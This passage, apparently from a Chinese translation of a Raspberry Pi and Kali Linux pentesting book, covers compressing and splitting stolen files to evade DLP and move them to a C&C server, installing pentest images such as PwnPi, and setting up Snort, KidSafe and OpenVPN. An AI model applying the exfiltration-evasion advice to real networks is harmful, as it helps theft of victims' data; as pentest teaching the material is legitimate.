如果您入侵了一个系统或网络,那么在某个时候您可能会想要插入或删除数据。数据可能很大,这意味着在网络上传输可能需要一些时间。如果您在被入侵的系统上的时间有限,这可能会成为一个问题。此外,将大文件从网络上移动可能会触发安全防御措施,如数据丢失预防(DLP)技术。
最佳做法是将文件压缩并分割成较小的大小,以加快下载/上传过程,并隐藏发送/接收操作。让我们看看您可以使用的命令行和 GUI 工具来实现这些目标。
Zip/Unzip
一个简单易用的基于命令行的压缩应用程序是 Zip。这个程序可以让您在树莓派上缩小文件,以便您可以将它们发送到 C&C 服务器以恢复到正常形式。Zip 未预装在 ARM 映像上,因此您需要使用apt-get install zip
命令进行安装。
安装完成后,使用zip "zip 文件名" "要压缩的文件"
命令,其中"zip 文件名"
是输出文件的名称,"要压缩的文件"
是要压缩的文件。压缩文件将添加.zip
扩展名,这意味着此示例在压缩后将成为data.zip
。以下截图显示了将VictimData
文件压缩为Stolen.zip
文件:
使用unzip Stolen.zip
来打开 ZIP 文件,使其恢复到正常形式,即VictimData
。您还可以指定要提取的特定文件,例如unzip Stolen.zip VictimData.doc
。以下截图显示了Stolen.zip
的解压过程:
File Roller
如果您正在寻找一个可以读取各种格式的基于 GUI 的压缩程序,File Roller 可能符合您的需求。就像 Zip 一样,您可以使用简单的 GUI 打开和压缩文件。File Roller 未包含在 Kali Linux ARM 映像中,因此您需要使用apt-get install file-roller
命令进行安装。安装完成后,在终端中键入file roller
,GUI 将打开。以下截图显示了我在 File Roller 中拖放Stolen.zip
文件后的VictimData
文件。您还可以单击打开按钮打开压缩文件。
要压缩文件,您可以将文件拖放到窗口中,File Roller 会询问您是否要创建一个新的压缩文件。以下截图中的示例显示了将VictimData
文件拖放到 File Roller 中,并创建一个名为VictimDataNew.tar.gz
的新压缩文件。在文件提示中,我告诉 File Roller 将我的新文件命名为VictimDataNew
,一旦文件被压缩,它就会添加.tar.gz
扩展名:
分割
为了进一步减小文件大小,您可以在发送文件之前将其分割成多个部分。一个简单的实用程序可以实现这一点是 split。要分割一个文件,输入split "每个文件的大小" "要分割的文件" "分割文件的名称"
。以下截图中的下一个示例显示了将名为VictimData
的文件分割成名为Breakup
的较小的 50MB 文件。每个 50MB 文件的名称将以aa
开头,所以我们的示例创建了三个文件,分别为Breakupaa
,Breakupab
和Breakupac
。
要重新组装我们的三个文件,我们可以使用cat "fileaa fileab fileac" > "final file name"
。因此,对于我们的示例,我们将使用Breakupaa
,Breakupab
和Breakupac
文件来组装VictimData
文件。我们还可以使用cat Breakupa[a-c] > VictimData
命令,如下面的截图所示,因为数字序列中的起始字符相同:
总结
本章重点介绍了如何结束渗透测试或攻击性练习。主题包括清除你侵入的系统中的痕迹,掩盖你与系统通信的方式,最后清除使用树莓派进行渗透测试的证据。我们通过介绍报告选项来结束本章,以便为潜在客户创建专业的成果。
下一章将介绍树莓派可用的除 Kali Linux 之外的其他 ARM 镜像。
第六章:其他树莓派项目
树莓派被设计成一个可以根据低预算 OS 的要求进行定制的系统。有数百种记录的用例和许多供应商发布的 ARM 图像,缩小以成为树莓派社区的一部分。这包括 Offensive Security 的 Kali Linux 之外的其他渗透武器的创建者。
在评估树莓派上的其他渗透测试 ARM 图像时,我们发现大多数发行版非常相似,因为它们使用相同的工具,并且在许多情况下,使用相同的构建。这意味着大多数应用程序的升级生命周期和路径也将是相同的,无论您选择使用哪种 ARM 图像。最终,您需要选择一个对您来说最有意义的发行版。如果您不确定是什么,请不要担心,那就是 Kali Linux。
本章将涵盖以下主题:
-
PwnPi
-
树莓派 Pwn
-
PwnBerry Pi
-
保护您的网络
-
入侵检测和防范
-
Snort
-
内容过滤器
-
KidSafe
-
使用 OpenVPN 进行远程访问
-
Tor 中继和路由器
-
树莓派 Tor
-
Tor 路由器
-
在 PC 上使用 QEMU 模拟器运行树莓派
-
其他树莓派用途
-
使用 PiAware 进行飞行跟踪
-
PiPlay
-
PrivateEyePi
让我们看看除了 Kali Linux 之外的一些替代渗透测试方案。列表中的第一个是最受欢迎的图像之一,PwnPi,有人认为它比 Kali Linux 更好。
PwnPi
PwnPi 是树莓派的一个非常成熟的渗透测试平台。在撰写本书时,社区中有许多人声称它比树莓派上的 Kali Linux 更稳定。然而,我们认为支持树莓派上的 Kali Linux 而不是 PwnPi 存在一种转变,因为 Kali Linux 已经很受欢迎。有些人可能会说我们有偏见,但嘿,这是我们第二本关于 Kali Linux 的书。以下是 PwnPi 3.0 引导图像的屏幕截图:
PwnPi 带来了一些独特的功能,比如支持 200 多种工具。PwnPi 是基于树莓派优化的 Debian Wheezy 构建的,并且有简单的脚本来自动配置反向 shell 连接。您可以在pwnpi.sourceforge.net了解更多关于 PwnPi 的信息。
让我们以以下方式在树莓派上安装和运行 PwnPi:
-
第一步是从pwnpi.sourceforge.net网站下载 PwnPi。安装类似于 Kali Linux。例如,我们使用
sudo dd if=pwnpi-3.0.img of=/dev/disk2
命令将pwnpi-3.0.img
文件安装到我们的 microSD 卡上,我们的 Mac 电脑上标识为disk2
。 -
有时,在尝试加载
pwnpi-3.0.img
时,我们遇到了启动问题。解决方法是从github.com/raspberrypi/firmware
下载最新的树莓派固件,这将是一个 ZIP 文件。打开该 ZIP 文件并转到boot
文件夹。将boot
文件夹中的所有内容复制并粘贴到 SD 卡的root
目录中,一旦安装了pwnpi-3.0.img
,您将替换任何重叠的现有文件。 -
完成后,将 microSD 卡插入树莓派并启动 PwnPi。我们建议在继续之前备份当前配置和操作。这种方法在第一章中有详细描述,树莓派和 Kali Linux 基础。
注意
我们发现 PwnPi 以及其他一些 ARM 图像有时无法启动,这是由于驱动问题。这就是为什么我们在启动 PwnPi 之前包括了如何添加固件引导文件的先前步骤。如果您遇到 ARM 图像无法正确启动,请尝试此技术。
-
去吧,用你的树莓派 Pwn 镜像启动你的树莓派。
-
登录时,将要求输入用户名和密码。默认用户名为
root
,默认密码为toor
。 -
我们建议此时运行
apt-get update
和apt-get upgrade
命令。PwnPi 还有一个基本的 web 界面,您可以启动,但是大多数工具仍然需要从终端或命令行运行。要启动 GUI 桌面,只需输入startx
。
由于大多数工具需要从命令行运行,GUI 提供了一些终端窗口的可管理性,以及 PwnPi 菜单中附带的一些工具列表,如下面的屏幕截图所示:
要启动 PwnPi 中的任何工具,只需导航到/pentest
目录。您会在这个位置找到所有的工具。例如,如果您想运行社会工程师工具包,只需在终端窗口中输入/pentest/exploits/se-toolkit
。这将启动该工具。您可以浏览目录以查找其他工具。查看前几章,了解如何使用 Kali Linux 和 PwnPi 中发现的其他流行工具的信息。
下面的屏幕截图显示了社会工程师工具包的启动:
注意
大多数安全发行版将把它们的工具放在/pentest
目录中。如果您使用的是相同版本的工具,那么各个发行版中的实际工具本身是完全相同的。
树莓派 Pwn
Raspberry Pwn 来自带给您 Pwn Pad 和 Pwn Phone 的同一个团队。这个基于 Debian 的发行版将拥有您喜爱的工具,如 SET、Wireshark、dnswalk 和各种无线测试应用程序。可以将其视为包含许多类似工具的 Kali Linux 的替代品。
Raspberry Pwn 的安装过程与典型的 ARM 镜像不同。这是因为 Raspberry Pwn 基本上是建立在 Raspbian 操作系统之上的。
让我们看看如何使用以下步骤安装和运行 Raspberry Pwn:
-
您需要首先下载基本的 Debian 树莓派(Raspbian)发行版,可以在
www.raspberrypi.org/downloads
找到。这些镜像文件不断更新,所以在撰写本书时,我们使用了2014-09-09-wheezy-raspbian.img
命令,效果很好。 -
您需要使用第一章中介绍的过程来安装此镜像,树莓派和 Kali Linux 基础。安装 Debian 镜像的命令是
sudo dd if=2014-09-09-wheezy-raspbian.img of=/dev/disk2
。 -
安装完成后,将 microSD 卡插入树莓派,并确保通过以太网端口连接到提供互联网访问的活动端口。
-
使用
sudo –i
命令成为 root 用户。 -
通过 ping
google.com
来测试网络连接。确认您有网络连接后,输入apt-get update
来更新固件。这应该只需要几分钟。 -
更新过程完成后,输入
apt-get install git
,如前面的屏幕截图所示。然后输入git clone https://github.com/pwnieexpress/Raspberry-Pwn.git
命令,下载 Raspberry Pwn 软件,如下面的屏幕截图所示: -
几分钟后,您应该准备好安装软件了。使用
cd Raspberry-Pwn
进入Raspberry-Pwn
目录,然后输入./INSTALL_raspberry_pwn.sh
来安装软件,如下面的屏幕截图所示:
这个过程应该需要 10-20 分钟。
-
安装完成后,您将进入
raspberrypi login #
命令提示符。使用默认的 Debian 登录,用户名为pi
,密码为raspberry
。如果您更改了 Raspbian 登录信息,请使用更改后的信息。 -
现在运行
apt-get update
和apt-get upgrade
通常不是一个坏主意。
要访问可用的工具,请转到/pentesting
文件夹。在该文件夹中,您将找到许多流行的渗透工具中看到的各种工具。
注意
警告:如果输入startx
,它只会启动 Raspbian 的K 桌面环境(KDE)。它没有任何特定于 Raspberry Pwn 安装的内容,并且可能会导致损坏。我们建议不要使用 KDE 桌面,只使用命令行功能。
Raspberry Pwn 是一个非常高效的工具包,非常适用于网络嗅探、使用 SET 进行社会工程攻击以及其他类似工具。它没有 Kali 那样的深度和广度,但它在性能上弥补了这一不足。尽管它目前还不支持,但我们希望 Pwnie Express 能够添加 Raspberry Pwn 通过 Pwnie Express 的中央管理控制台进行集中管理的功能,使 Raspberry Pwn 成为该架构的廉价传感器。
以下截图显示了 Pwnie Express 发布的 Raspberry Pwn:
PwnBerry Pi
PwnBerry Pi 被宣传为“另一个用于 Raspberry Pi 的渗透测试套件”,它拥有许多与 Kali Linux 相同的工具。同事和其他专业人士告诉我们(本书的作者)PwnBerry Pi 的创建者在优化这个平台用于基于 Web 的攻击方面做得很好。然而,在我们自己的个人测试中并没有体验到这一点。
还应该注意的是,最佳做法是不要从低端系统(如 Raspberry Pi)使用许多用于基于 Web 的渗透测试所需的工具。例如,PwnBerry Pi 包括 BeEF 的安装文件,而不是安装它,因为大多数渗透测试人员不会从 ARM 镜像运行此应用程序。如果在这个 ARM 镜像上安装 BeEF,您将看到 PwnBerry Pi 开发团队添加的警告横幅,声称他们在使用 PwnBerry Pi 镜像时遇到了不稳定的行为。
让我们看看如何安装 PwnBerry Pi。PwnBerry Pi 的安装过程与 Kali Linux 不同,但与 Raspberry Pwn 的过程类似。您将下载 Raspbian 镜像,并以以下方式在该镜像上运行 PwnBerry Pi:
-
您需要首先下载在
www.raspberrypi.org/downloads
找到的基本 Debian 发行版。这些镜像文件正在不断更新,因此在撰写本书时,我们使用了2014-09-09-wheezy-raspbian.img
镜像文件,效果很好。 -
使用第一章中介绍的过程安装镜像,Raspberry Pi 和 Kali Linux 基础。安装 Debian 镜像的命令是
sudo dd if=2014-09-09-wheezy-raspbian.img of=/dev/disk2
,假设您的 microSD 被视为disk2
。 -
安装完成后,将 microSD 卡插入 PwnBerry Pi,并确保通过以太网端口连接到提供互联网访问的活动端口。
-
使用
sudo –i
命令成为 root 用户。 -
通过 ping
google.com
来测试网络连接。确认您有网络连接后,输入apt-get update
和apt-get upgrade
来更新固件。这应该只需要几分钟。 -
升级过程完成后,输入
apt-get install git
,然后输入git clone https://github.com/g13net/PwnBerryPi.git
来下载 PwnBerry Pi 软件。 -
几分钟后,您应该准备安装软件。转到 PwnBerry Pi 目录,使用
cd PwnBerry Pi
并输入./install-pwnberrypi.sh
来安装软件。这个过程应该需要 10-20 分钟。 -
安装完成后,您将看到PwnBerry Pi Release 1.0 安装成功!和一个命令提示符
raspberrypi login #
。使用默认的 Debian 登录访问终端,用户名为pi
,密码为raspberry
。
与许多其他发行版一样,PwnBerry Pi 的工具存储在一个名为pentest
的文件夹下,通过终端窗口使用cd /pentest
命令访问。一旦您访问了pentest
文件夹,您将看到一堆包含各种可安装的渗透测试工具的文件夹。以下截图显示了从 GUI 打开终端,并使用ls
命令列出目录中的所有文件夹。每个文件夹都标有一组可用工具的标签。
注意
警告:您不应该使用startx
命令,因为它会在 Raspbian 上启动 KDE。运行 KDE 对 PwnBerry Pi 没有任何意义,可能会导致运行 PwnBerry Pi 工具时出现问题。
有一些值得注意的例外。Metasploit 位于/opt/msf3
目录下。您会注意到这是一个较旧的版本的 Metasploit。更新版本与 PwnBerry Pi 无法正常工作。然而,这个特定版本的 Metasploit 在性能方面表现得相当不错。
注意
请注意,并非所有工具都是预安装的。您必须先安装工具才能使用。
我们的测试发现,一些工具运行正常,而其他工具则显示了关于在树莓派上使用可能存在问题的警告横幅。总的来说,PwnBerry Pi 是一个不错的选择,但是我们建议使用更成熟的工具,比如 Kali Linux 或 PwnPi。
保护您的网络
本书的大部分内容涵盖了攻击场景。不幸的是,有一天您可能会经历对自己系统的攻击。这意味着您的安全防御措施将受到挑战,希望您有正确的工具来识别并阻止入侵对组织造成的损害。
我们要明确指出,树莓派不是用于网络防御的理想工具。最佳实践是层层叠加安全解决方案,提供各种功能,如应用层控制、有状态防火墙、入侵预防、访问控制、网络分割、恶意软件检测、网络监控、数据丢失等。大多数提供您需要应对当今网络上出现的威胁的保护级别的工具需要非常高的处理能力和大量存储空间。不幸的是,树莓派没有提供这一点。
如果您想在一个小型实验室中测试一些基本的安全概念,比如使用防火墙功能进行分割或使用 IDS 扫描基本威胁,树莓派可以作为一个不错的便携式实验室。一些 ARM 镜像声称非常适合家庭办公室保护,但是我们不建议使用树莓派来保护真实资产。
让我们首先看看如何将树莓派转变为 IDS/IPS。在本章的后面,我们将看看其他树莓派安全防御用例,比如如何将树莓派用作 VPN 服务器、内容过滤器或 Tor 节点。
入侵检测和预防
也许有一天您会成为网络入侵的受害者。最好的防御是在网络上覆盖多个点的多个安全解决方案,因此如果一个被绕过,其他工具可以识别并阻止攻击者。常见的防御工具包括防火墙和 IDS/IPS 解决方案等检测技术。
树莓派可以配置为低成本的 IDS/IPS,以保护您网络的一部分。显然,这只能被视为一个非常具体的目标,因为提供真正长期的 IPS/IDS 解决方案有更好的选择。树莓派没有足够的计算能力或存储空间来进行基本检测和预防之外的任何操作,因此请考虑这个选项用于实验和培训目的。
在考虑 IPS/IDS 时,首先要决定的是如何部署。典型的用例是在路由器和另一台设备之间,或者在系统和网络之间。您还可以作为入侵检测系统,这意味着设备是网络中的一个监听器,查看流量的副本,并且不具有任何执行能力。在我的例子中,我将使用 Snort 作为我的笔记本电脑和外部网络之间的内联 IPS,充当中间人。这对于连接到不受信任的网络而不使用 VPN 可能是理想的。这种设置将需要两个以太网端口,因此我将使用 USB 到以太网适配器来容纳第二个端口。
将树莓派部署为中间人攻击类似于在 IPS 部署中充当中间人。您需要将两个接口的 IP 地址都设置为0.0.0.0
,并使用桥接工具将两个接口桥接在一起。我们在第三章渗透测试的中间人部分中介绍了这个过程。以下是用于将两个接口桥接在一起的命令的摘要:
Snort
今天最流行的开源 IDS/IPS 是 Snort,现在由思科公司拥有,因为其收购了 Sourcefire。在树莓派上使用 Snort 的主要问题是资源需求超出了树莓派所提供的范围。建议在运行 Snort 之前调整 Snort 的进程以获得良好的功能。
Snort 可以从 Kali Linux 安装中运行,但它不是预装的。
注意
确保在桥接接口之前下载并更新 Snort,否则您将无法访问互联网。一个可能的解决方法是添加第三个无线或以太网适配器,以便在利用其他两个端口进行桥接时为更新提供互联网访问。
让我们看看在建立中间人桥之后如何安装和使用 Snort:
- 第一步是使用以下命令下载所需文件:
sudo apt-get install flex bison build-essential checkinstall libpcap-dev libnet1-dev libpcre3-dev libmysqlclient15-dev libnetfilter-queue-dev iptables-dev
- Snort 还需要一些 Kali Linux ARM 镜像中没有的库。为了使 Snort 正常运行所需的库,请输入以下命令:
wget https://libdnet.googlecode.com/files/libdnet-1.12.tgz
-
接下来,您需要使用
tar –zxvf libdnet-1.12.tgz
命令解压文件。解压文件后,使用cd
命令导航到该目录。 -
您将通过输入
./configure CFLAGS="-fPIC"
命令来更改CFLAGS
变量,以便为 64 位操作系统进行配置。完成此操作后,输入make
命令。 -
接下来,您需要从
libdnet
的位置建立到 Snort 期望libdnet
位于的符号链接。输入以下命令来执行此操作:
ln -s /usr/local/lib/libdnet.1.0.1 /usr/lib/libdnet.1
-
现在,您需要转到用于 Snort 的目录。我们通过在命令行中的桌面文件夹中使用
mkdir snort
命令或在 GUI 中右键单击桌面并选择它来创建一个名为snort
的新目录。 -
接下来,我们需要下载 Snort 数据采集库。输入
wget https://www.snort.org/downloads/snort/daq-2.0.4.tar.gz
命令来执行此操作。请注意,我们使用的版本可能与可用版本不同。请检查snort.org以确保您使用的是最新版本。 -
使用以下命令下载 Snort:
wget https://www.snort.org/downloads/snort/snort-2.9.7.0.tar.gz
- 接下来,我们将使用以下命令解压并安装 Snort 数据采集库:
tar -zxvf daq-2.0.4.tar.gz
cd daq-2.0.4
./configure; make; sudo make install
-
最后一步是下载 Oinkcode 或社区规则。Oinkcode规则是与现有 Snort 用户帐户关联的唯一密钥。如果您没有 Oinkcode 规则,可以下载社区规则。
-
我们将使用
wget https://www.snort.org/rules/community
命令下载社区规则。这应该会在您的目录中下载一个名为community.tar.gz
的文件。您需要使用tar xvfz community.tar.gz -C /etc/snort/rules
命令来解压缩文件。
注意
在某些情况下,您可能需要向文件添加一个扩展名。如果您只看到 community 或一些没有 .tar.gz
扩展名的变体,请键入 mv community community.tar.gz
命令。
- 现在我们准备安装 Snort。要安装 Snort,请键入
apt-get install snort
。您将收到一个提示来配置 Snort 接口的 IP 地址和子网掩码,如下面的屏幕截图所示:
您应该看到 Snort 完成其安装过程,如下面的屏幕截图所示:
您已成功配置了 Snort。从这一点开始,您可以使用 snort
命令分析通过您在之前步骤中设置的网络桥传输的流量。我们可以写一本关于 Snort 的整本书,也有一些专门讨论这个主题的书籍。如果您对 Snort 不熟悉,我们建议您访问 www.snort.org。
启动 Snort 最简单的方法就是键入 ./snort –i eth0
;这将启动 Snort 并监听以太网 0
。还有许多更高级的配置,允许您捕获并将所有内容运行到一个 syslog 服务器进行进一步分析。默认情况下,Snort 会将所有内容记录到终端屏幕上,如下面的屏幕截图所示。如果难以看清,不用担心,因为消息在屏幕上滚动得很快,这就是为什么大多数人会将其记录到外部 syslog 服务器的原因。
您可能要采取的一个额外步骤是设置 Snort 自动启动,方法是创建一个脚本。这通常只用于将树莓派专用于 Snort 的情况。以下示例显示了如何创建一个脚本,在启动树莓派时自动启动 snort:
autostart-IDS.sh
#!/bin/bash
# Configures the virtual bridge between the two physical interfaces.
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr bridge0
brctl addif bridge0 eth0
brctl addif bridge0 eth1
ifconfig bridge0 up
# Configures Snort and TCPdump tools to begin listen and inspecting
# the network traffic that travels through the bridge interface.
TCPdump -i bridge0 -w /root/IDS-log/networkdump/network-traffic-$(date +%y%m%d).cap &
Snort -i bridge0 -v |tee /root/IDS-log/snortdump/Snort-dump-$(date +%y%m%d) &
内容过滤器
内容过滤器用于控制读者在浏览互联网时被授权访问的内容类型。旧的内容过滤器需要基于更新 URL 列表的手动调整,然而,大多数商业产品提供的内容类别会自动更新为新的网站标签。需要内容过滤器的最常见用例是阻止商业网络中的不当内容,如色情内容。通常,内容过滤器与网络代理或应用层防火墙提供的功能捆绑在一起。
让我们看看如何将树莓派变成家庭办公室内容过滤器。这对于希望保持其个人网络适合儿童的父母来说非常有用。
KidSafe
KidSafe 用于在用户浏览互联网时过滤不当内容。KidSafe 通过使用 Squid 代理的开源 Web URL 过滤服务来实现这一点。这使得父母可以通过易于使用的 GUI 控制他们孩子的互联网体验。
KidSafe 可以安装在包括树莓派的 Kali Linux 在内的任何基于 Linux 的系统上。该应用适用于低功耗、低成本的计算系统,非常适合家庭使用。我们建议在 Raspbian 操作系统上安装 KidSafe,这样您就不必担心设置 Kali Linux 相关的额外设置。购买树莓派时,通常会默认安装 Raspbian ARM 映像。但是,您也可以从 www.raspberrypi.org/downloads/
下载它。安装过程类似于我们在第一章中安装 Kali Linux 的过程,树莓派和 Kali Linux 基础。
步骤如下:
-
为了为 KidSafe 做好准备的第一步是将默认的动态主机配置协议(DHCP)行为更改为静态地址,这样我们就不必担心 IP 地址的变化。诸如 PC 和手机之类的客户端将代理到这个 IP 地址,以连接到互联网,因此重要的是确保选择一个可被网络上其他设备访问的静态地址。同样重要的是它是静态的,这样端点就不必调整其代理设置。我们可以通过以下方式来实现这一点:
-
让我们将我们的 IP 地址更改为静态地址。
-
键入
ifconfig
命令以查看您的网络接口。您应该看到类似于以下截图所示的内容。运行命令时请注意您看到的内容。 -
您将编辑网络接口文件。我们将使用
vi
,但您可以使用您喜欢的编辑器。键入sudo nano /etc/network/interfaces
命令。此命令的启动如下截图所示: -
查找接近
iface eth0 inet dhcp
的行。您将把该行更改为静态地址。在我们的示例中,我们将使用命令更改为静态 IP10.0.1.167
,子网掩码为255.255.255.0
,默认网关为10.0.1.1
,如下截图所示:
-
现在,让我们使用
sudo apt-get install tor
命令安装 Tor。 -
接下来,使用
sudo apt-get install squid3
命令安装 Squid。 -
接下来,使用
sudo apt-get install lighttpd
命令安装一个轻量级的 Web 服务器。 -
KidSafe 需要 PHP。要安装 PHP,请使用
sudo apt-get install php5-common php5-cgi php5 php5-mysql
命令。您需要使用sudo lighty-enable-mod fastcgi-phpa
命令启用 PHP 脚本。 -
此时,您需要使用
sudo service lighttpd force-reload
命令重新加载服务器。 -
下一步是安装 PHP 的 GUI 管理工具。这不是必需的,但我们建议安装,因为它可以更轻松地管理 PHP。要安装 GUI 管理工具,请使用
sudo apt-get install phpmyadmin
命令。安装完成后,您将能够通过访问http://localhost/phpmyadmin/
来从 Web 浏览器管理 PHP。 -
接下来,我们将通过键入
sudo chown www-data:www-data /var/www
命令更改目录所有者和组。我们还需要使用sudo chmod 775 /var/www
命令更改我们的目录权限。 -
如果您没有用户名,请使用
sudo adduser proxy
命令创建一个。另外,确保使用sudo passwd proxy
命令更改您的用户名的密码。您将使用sudo usermod -a -G www-data proxy
命令将您的用户名添加到目录组,以便赋予其管理权限。 -
切换到
/opt
目录。您可以通过键入sudo cd /opt
来实现。确保您使用cd
命令处于/opt
目录中。 -
接下来,我们将下载一个辅助应用程序,用于更轻松地配置代理和 Squid 设置。转到
www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz
下载该应用程序。您可以通过在命令行中键入sudo wget http://www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz
来实现。确保您处于/opt
目录中。
注意
检查您是否正在使用和下载最新版本。如果没有,请将其调整为最新版本;在下载文件时,最有可能只有版本号会发生变化。
-
使用
sudo tar –zxvf kidsafe-squidapp-0.2.0.tgz
命令解压文件。 -
使用您喜欢的编辑器编辑
/opt/kidsafe/kidsafe.squid3.inc
文件。转到文件的最后一行,并将192.168.0.3
地址更改为您的 IP 地址。 -
将
acl local_acl dst 192.168.0.0/16
更改为适合您子网的内容。 -
您需要将 Squid 文件与 KidSafe 文件合并。通过输入
include /opt/kidsafe/kidsafe.squid3.inc
来执行此操作。 -
几个文件将需要更改或更新其权限。输入以下命令:
cd /opt/kidsafe
sudo chown :www-data .
sudo chmod 775 .
sudo chown :proxy kidsafe.py
sudo chmod 770 kidsafe.py
sudo chown :www-data kidsafe.rules kidsafe.session
sudo chmod 664 kidsafe.rules kidsafe.session
-
现在您可以在
/var/www
目录中下载并安装 KidSafe 应用程序。要下载 KidSafe,请输入sudo wget kidsafe-webapp-0.2.0.tgz
。确保您在/var/www
目录中。还要注意您正在下载的版本,因为它可能与我们使用的示例不同。 -
使用以下命令解压文件:
sudo tar -xvzf /home/pi/kidsafe-webapp-0.2.0.tgz
-
现在打开一个网页浏览器,转到
http://localhost/phpmyadmin/
。点击数据库,选择创建新数据库。将数据库命名为kidsafe
。我们将数据库类型设置为本地,如下截图所示: -
密码将设置为:<如
kidsafe-config.php
文件中定义的>。保存并应用配置。在特定于数据库的权限菜单中选择kidsafe
数据库。对于权限,只选择SELECT,INSERT,UPDATE,DELETE。对于授权,选择否。对于特定于表的权限,选择否。 -
现在点击标签页左侧的数据库按钮。转到SQL标签页,并执行来自
www.penguintutor.com/software/squid-kidsafe/0.2.1/kidsafe-database.txt
的命令(只需复制并粘贴)。
注意
或者,您也可以在www.drchaos.com/wp-content/uploads/2014/11/kidsafe-database.txt
获取相同的文件。
以下截图显示了phpMyAdmin页面:
注意
您的 PHP 页面将与我们的页面有很大不同。这是因为我们正在运行多个应用程序和数据库。
- 您应更改
log
文件的权限。输入以下命令:
cd /var/log/squid3
sudo touch kidsafe.log
sudo chown :www-data kidsafe.log
设置现在已经完成。您可以通过转到http://localhost/kidsafe
来配置规则、登录和其他设置。
注意
有关如何使用 KidSafe 的更多信息,请访问www.penguintutor.com/linux/raspberrypi-kidsafe
。
以下截图显示了 KidSafe 管理的网站被阻止页面:
提示
不要手动管理您想要阻止的网站。从www.squidguard.org/blacklists.html
下载免费的黑名单,以获取已分类数百万个网站的更新列表。
使用 OpenVPN 进行远程访问
虚拟专用网络(VPN)是许多组织的基本安全要素。 VPN 提供了一种直接连接到远程网络的方法,就好像您在现场一样,并使用加密保护客户端和连接网络之间的流量。这可以防止许多中间人攻击,并允许人们在办公室外更加高效。 OpenVPN 可以将树莓派转变为 VPN 集中器,以极低的成本提供这些和其他好处。
让我们看看如何通过以下步骤将树莓派转变为 VPN 集中器:
-
第一步是通过 NOOBS 软件包或直接从树莓派网站按照第一章中的步骤安装最新的 Raspbian 镜像,树莓派和 Kali Linux 基础。
-
我们还建议根据 Kali Linux 中指定的
apt-get update
和apt-get upgrade
命令更新您的镜像,详见第一章中的树莓派和 Kali Linux 基础。 -
由于此解决方案的目标是面向外部,我们强烈建议在开始 OpenVPN 配置之前更改默认密码。
注意
在使用sudo –i
命令之前,您需要成为root
用户才能启动更新和升级命令。
-
一旦你的 Raspbian 构建升级完成,你需要确定一个外部网络可访问的 IP 地址,你计划从中连接。你还需要选择一个连接的端口,比如 UDP 流量的端口 1194。这意味着你需要在路由器和防火墙上打开 1194 端口的转发。你可以使用不同的端口或协议,比如 TCP,取决于你在路由器和防火墙上愿意打开的内容。
-
大多数操作系统默认情况下都没有安装 OpenVPN,所以你需要使用
apt-get install openvpn
来安装它,如下图所示: -
接下来,你将想要生成密钥来保护你的 VPN 服务器。我们将使用
easy-rsa
来实现这个目的。你需要成为root
用户,所以确保在继续之前输入sudo –s
。使用以下命令将easy-rsa/2.0
文件夹中的所有内容复制到easy-rsa
文件夹中:
cp –r /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa
提示
这种类型的证书对于小型 VPN 部署来说是可以的。但是,如果这个规模扩大,你可能需要考虑使用 OpenSSL 生成一个证书签名请求(CSR)并通过受信任的证书颁发机构进行签名。
-
接下来,进入
easy-rsa
文件夹,使用cd /etc/openvpn/easy-rsa
。如果输入ls
,你应该看到一个名为vars
的文件。我们想要编辑它,所以输入nano vars
。现在,找到并更改EASY_RSA
变量为export EASY_RSA="/etc/openvpn/easy-rsa"
。下面的截图显示了第 13 行的这个调整: -
如果你很谨慎,你可以将加密方法从 1024 位增加到 2048 位。只需找到声明
export KEY_SIZE=1024
的行,并将值增加到2048
。完成后,输入Ctrl + X保存更改。 -
现在我们需要构建一个证书颁发机构(CA)证书和根 CA 证书。树莓派将充当自己的证书颁发机构,并签署 OpenVPN 密钥。您应该仍然在
easy-rsa
文件夹中。输入source ./vars
以加载vars
文档。输入./clean-all
以删除任何先前的密钥。 -
输入
./build-ca
来构建你的证书颁发机构。你将被问及关于你居住的地方、公司名称等一系列问题。下面的截图显示了我运行前面命令后的第一个问题: -
在完成关于电子邮件地址的最后一个问题后,你可以使用
./build-key-server [Server_Name]
命令为服务器命名。再次,你将不得不回答一些可选字段。确保这一次使用你选择的通用名称字段的名称,这应该是默认的名称。你还必须将挑战密码字段留空。 -
你将收到一条消息,说你的证书将在 3650 天后签署,并询问你是否要提交。选择是(y),它将生成你的证书。
-
现在服务器端已经准备好了,让我们也为“客户端”(也称为用户)生成密钥。例如,我们将为我们的笔记本电脑创建一个密钥。为此,使用
./build-key-pass [UserName]
命令。所以对于我们的例子,用户名是laptop1
。它会要求你记住一个密码短语。填写好并按照提示进行。确保将挑战密码字段留空。确认签署证书,它将显示数据库已更新。 -
使用
cd keys
进入keys
文件夹,然后输入openssl rsa –in laptop1.key –des3 –out laptop1.3des.key
。这将对每个数据块应用称为 des 加密三次的des3
。 -
在这一点上,你已经创建了一个服务器证书和一个客户端证书。如果你想为其他设备创建证书,可以重复客户端过程。完成后,使用
cd
返回easy-rsa
文件夹,这样你就可以生成 Diffie-Hellman 密钥交换。输入./build-dh
来执行这个命令。
注意
在使用./build-dh
命令之前,您可能会收到首先输入source /vars
的提示。在重新运行./build-dh
命令之前运行该命令。
这可能需要一些时间,具体取决于您的加密大小。如果您之前将加密升级到 2048 位,那么需要等待更长时间。我们使用的是 1024 位,所以完成需要几分钟。
-
下一步是使用基于哈希的消息认证码(HMAC)密钥启用拒绝服务(DoS)保护。这将使树莓派在尝试验证访问请求之前首先要求一个静态密钥。这可以阻止攻击者用随机重复的请求攻击服务器。使用
openvpn –genkey –secret keys/ta.key
命令启用此功能。 -
到目前为止,我们已经生成了密钥并让 CA 对其进行签名。现在让我们配置 OpenVPN。我们首先需要创建一个
.conf
文件,OpenVPN 将使用它来列出我们要连接的位置和连接类型等信息。输入nano /etc/openvpn/server.conf
。这将在openvpn
文件夹中打开一个空白文档。使用以下命令配置 OpenVPN:
提示
确保根据评论要求调整到您的网络,评论要求您提供信息。
local 192.168.2.0 # CHANGE THIS TO YOUR RASPBERRY PI IP ADDRESS
dev tun
proto udp. # This is the protocol
port 1194
ca /etc/openvpn/easy-rsa/keys/ca.crt
cert /etc/openvpn/easy-rsa/keys/Server.crt # USE YOUR CERT NAME YOU CREATED
key /etc/openvpn/easy-rsa/keys/Server.key # USE YOUR KEY NAME YOU CREATED
dh /etc/openvpn/easy-rsa/keys/dh1024.pem # IF YOU CHANGED THE ENCRYPTION SIZE ADJUST THIS
